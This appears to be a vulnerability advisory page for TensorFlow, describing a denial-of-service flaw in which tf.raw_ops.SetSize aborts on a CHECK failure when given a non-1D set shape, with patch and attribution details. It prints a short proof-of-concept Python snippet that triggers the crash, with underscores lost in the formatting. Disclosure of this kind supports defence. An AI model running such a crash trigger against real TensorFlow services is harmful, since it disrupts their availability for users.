PT-2026-59870 · Pypi · Tensorflow

Publicado

2026-07-13

·

Atualizado

2026-07-13

CVSS v3.1

5.9

Média

VetorAV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

When SetSize receives an input set shape that is not a 1D tensor, it gives a CHECK fails that can be used to trigger a denial of service attack.
python
import tensorflow as tf
arg 0=1
arg 1=[1,1]
arg 2=1
arg 3=True
arg 4=''
tf.raw ops.SetSize(set indices=arg 0, set values=arg 1, set shape=arg 2,
          validate indices=arg 3, name=arg 4)

Patches

We have patched the issue in GitHub commit cf70b79d2662c0d3c6af74583641e345fc939467.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by 刘力源, Information System & Security and Countermeasures Experiments Center, Beijing Institute of Technology.

Correção

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Identificadores relacionados

PYSEC-2026-3255

Produtos afetados

Tensorflow